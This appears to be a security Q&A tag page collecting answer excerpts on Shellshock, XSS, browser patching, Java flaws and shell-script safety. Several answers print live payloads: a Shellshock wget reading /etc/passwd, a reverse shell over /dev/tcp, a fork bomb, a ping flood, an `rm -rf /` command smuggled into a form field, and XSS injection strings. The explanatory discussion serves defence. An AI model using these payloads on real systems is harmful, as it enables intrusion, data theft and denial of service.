Tag Info

New answers tagged

0

Fresh Installation will definitely be a solution. Also restoring network devices will further kill any infection possibility. If you don't want to enable 'noscript', then try disabling unwanted browser plugins, specially Java. Most of the web attacks from browsers exploit these plugins to drop malwares. Disabling plugins will keep you safe from such ...


0

Wiping your system and restoring from trusted media is definitely a good idea. At that point your system should be safe. However, I'd also suggest rotating your passwords on online services as well as using new passwords when you reinstall Linux. If you have ssh keys in use it wouldn't be a bad idea to rotate them as well. It may seem a little excessive but ...


1

By https-only I'm assuming you mean the HTTP Only flag, although it is accessed over HTTPS. The non HTTP Only cookies could be compromised if there are any XSS flaws on the website. The non secure flagged cookies could be compromised if the user was using a browser that does not support HSTS (such as Internet Explorer). This would be a MITM attack on a ...


6

Posting a body such as this: realname%3DSisodiya%20Chhatrapalsinh%26email%3D%60rm%20-rf%20%2F%60%26comments%3DDo%20your%20own%20homework%26submit%3DSubmit


7

You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for. Every program (bash, java, tcl, php, ...


2

You're correct, as far as I can tell. If AcceptEnv is not set then a remote client cannot get the SSH server to process any environment variable. Note that you can execute a command through SSH as an authenticated client and get that command to load up your crafted environment variable. So if you have any setuid/setgid binary running a Bash script, this ...


4

If you use the apache php module or fastcgi and not CGI, the parameter would never get to bash. Even if you used CGI, it would only get to bash if Wordpress somehow used called a bash script during its execution (someone more knowledgeable in Wordpress could tell the probability of that happening). You could monitor for suspicious network connections with ...


3

You should be safe from ssh side, but there are other vectors as well, like dhclient-script. By the way, you are only really "vulnerable" through SSH if you have users with restricted access (e.g. chroot or sftp-only). If all your users have full shell access, then even though they may run commands using this exploit, they could do that anyway.


1

It depends on what you mean by safe. Ubuntu has to parse and decode the image file to display it in a thumbnail. So any potential exploit in the decoding code is exploitable when you preview the file. So from a strict perspective, no you're not safe. In practice, I don't believe there's any known exploits on ubuntu for image files. Historically images ...


9

It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges. Given the widespread use of environment variables to share state between processes in Unix and the ...


1

mod_fcgi itself is not vulnerable: it talks to Apache through interprocess communication rather than the environment variables of traditional CGI. Any CGI scripts run through mod_fcgi can still be vulnerable if 1) they can be coerced into setting environment variables and 2) invoke bash (say, through a system() call or backtick interpolation).


122

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi: #!/bin/bash echo "Content-type: text/plain" echo echo echo "Hi" Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd: wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" ...


4

Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell () { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3] # #CVE-2014-6271 cgi-bin reverse shell # import ...


0

Try inserting ' + alert('xxx') + ' This will render the sourcecode above as pagename : '' + alert('xxx') + '' This means in plain English "The value of _TM.pagename is the string which you get when you concatenate an empty string, the return value of calling alert('xxx') and another empty string". To build this string, alert('xxx') will be called. ...


87

With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb: () { :; }; :(){ :|: & };: Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server. Or, somebody could use your server as an attack bot: () { :; }; ping -s 1000000 <victim IP> Put ...


0

if you can have execution without the last two fields, I'd try something like that '};alert('xxx');var misc={aa='bb otherwise if they are required, just add them before closing the first dict


0

Is the exploit a metasploit ready, I mean, is it made in ruby for metasploit ? You don't need to restart the service, you just need to do either 1. Close and reopen msfconsole 2. reload_all command from inside msfconsole and it'll do the job. The exploit must be in the ~user/.msf4/modules/exploits directory in a certain dir structure like ...


3

XSF is, essentially, XSS in a Flash applet. Where in XSS you find vectors (e.g. URL parameters or form fields) for injecting content into the DOM that is parsed as script, in XSF you look for cases where you can get untrusted data to be placed into Flash variables, which may then be used in an unescaped context inside the Flash applet, resulting in script ...


0

Immediate danger, no. Potential danger, yes. To anyone's system who is accessing these files. Virusscanning can mitigate but is far from perfect.


1

So at first moment i thought an alert('xxx') is enough to create a POC but inserting alert or any thing else is leading the code to become faulty Breaking the code is usually a good sign. A syntax error may show the victim is not performing the correct escapes to keep the code valid. Look at the generated source to see what it produces for your input. ...


4

The problem is not that the files could contain exploits, but that they can be made to cause harm when reinterpreted as a different format. For example, someone may upload a file with RTF extension, which is actually a Flash file which is designed to steal cookies or perform CSRF attacks. That's one of the reasons Google hosts all user-provided files on a ...


0

When you visit a web page, it hosts malware somewhere on the page. Your browser downloads the content and processes it, exploits some code in your browser, giving it access to your computer. It installs a mail server and starts sending spam - thousands of messages every few minutes. Didn't you notice your system has slowed down, and/or your hard drive is ...


4

Shortest answer, read the Firefox changelog for a release and witness why. You can find it @ https://www.mozilla.org/en-US/firefox/releases/ For all the specific releases. Just click on one of the release numbers.


4

There are two main reasons for creating a new version of a program: (in this case a browser) To add new features (eg. viewing a video in the browser). To fix a problem, which may be: A minor issue (such as cmd-L not opening a new window when no window is available) A big issue (eg. a malicious web page can read data from other requests [1] ) Some ...


22

I'm really just repeating other answers but let's try to explain it using a metaphor. A computer program is a long description of how the computer must behave, based on what information it is given. A browser program is given some instructions by a Web server program and draws a Web page for you to use. It then tells the Web server which next page it would ...


0

It's because of a category of vulnerabilities known as client-side vulnerabilities. Over the period of time, servers have got more secure, so cyber crooks, instead of focussing on servers these days, focus on client-side security bugs. When it comes to browsers, these bugs are mostly used after free bugs (specially in Internet Explorer which has changed ...


4

Here is a link to Firefox's security update notes: Security Advisories You can see by the number of fixes, and especially those marked "critical," that by not updating you would invite significant risk.


65

Because there are security vulnerabilities found in software all the time. These vulnerabilities are sometimes publicly disclosed, sometimes not. Either way, as developers find or find out about them they patch them. Running old versions of browsers leaves you vulnerable to malicious websites trying to infect your computer. Below are links to web pages ...


1

All software has bugs. Updates help to resolve those bugs. When it comes to browsers, bugs can mean that malware can infect your browser, or even your machine. Worst case? An attacker can learn your banking details and empty your account.


5

Well the whole point of updating/patching anything is to fix known vulnerabilities. Any bugs/vulnerabilities found in the version of firefox you're running could be exploitable. Updating your browser will modify how the browser works and result in those vulnerabilities being no longer exploitable. It's really as simple as that. Updating can also introduce ...


2

Exploit developers use ROP chains when there is no other option. ASLR limits where an exploit can jump reliably, as the heap and stack address will be randomized. However, some of the application's own functionality may not be randomized. When an attacker is forced into this position, they use a series of ROP gadgets to establish an environment that can ...


3

I am asking from perspective of someone who writes shell scripts that parse untrusted input I would not recommend any of these shells to parse untrusted input, because it is far to easy to make errors with the shell syntax which can cause unwanted command execution. This is not a problem how secure the implementation of the shell itself is, but how ...


1

You would be very lucky to find a case where you can directly execute code via a simple coding error in Java. It is possible that a bug in the implementation of the JVM allows memory corruption through benign code, but at worst phenomenally rare. However, even within the JRE (OpenJDK) a portion of the libraries are written in C, and therefore contain memory ...


0

Common Java security flaws include: Injection attacks - SQL injection, cross-site scripting, XPath injection, XML external entity, and many more. I'm aware of about 20 different kinds of injection. Business logic flaws - Parameter tampering, forced browsing, negative numbers accepted, etc. Authentication and session flaws - No account lockouts, session ...


1

One option is exploiting the JVM itself - it may be possible to have java code that causes the actual virtual machine to 'break' and execute arbitrary operations outside of the sandbox; there have been such exploits, although they seem to rely on sending the victim some java code for execution (i.e., in a browser sandbox context), not exploiting random java ...


1

The short answer would be "all the rest of them", but not including the simplistic kinds of errors from exploiting raw memory buffer overflows. There are plenty of other ways that memory could be used incorrectly without overrunning a buffer. An example something that might be classified as a buffer overflow problem in java would be if the application ...


4

Short version: Shell scripts require more caution with untrusted input; there are inherent dangers. Shell scripts are not general purpose languages, and are probably unsuited for "parsing untrusted data over networks" All that said, shell scripts can do amazing amounts of things, and can do it securely with enough care. Should is a different matter, and ...


9

No, it won't work this way. Reading the documentation from EICAR we can see why: The first 68 characters is the known string. It may be optionally appended by any combination of whitespace characters with the total file length not exceeding 128 characters. So, the file must start with the said string, and must not be larger than 128 bytes. All of your ...



Top 50 recent answers are included